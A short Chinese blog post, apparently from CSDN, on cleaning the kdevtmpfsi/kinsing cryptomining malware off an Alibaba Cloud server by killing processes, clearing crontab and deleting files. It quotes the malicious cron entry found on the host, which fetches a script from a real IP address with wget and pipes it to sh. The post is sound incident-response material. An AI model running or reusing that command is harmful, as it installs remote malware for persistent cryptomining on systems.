解决阿里云服务器被kdevtmpfs挖矿
查进程
top
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1PLc6GWO-1577413734965)(./1577413013446.png)]](https://img-blog.csdnimg.cn/20191227102915905.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXdveW9uemhl,size_16,color_FFFFFF,t_70)
systemctl status 3256
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JqiBEbhL-1577413734967)(./1577413079512.png)]](https://img-blog.csdnimg.cn/20191227102924226.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXdveW9uemhl,size_16,color_FFFFFF,t_70)
kinsing 是kdevtmpfsi背后的守护进程，需要先杀kinsing然后再杀kdevtmpfsi。
杀进程
kill -9 3256
kill -9 3142
清理定时任务
查看定时任务
crontab -l
查看到结果：* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
清理定时任务
crontab -e
删文件
如果需要查找可以查找这两个文件，然后去对应目录删除
find / -name kdevtmpfsi
find / -name kinsing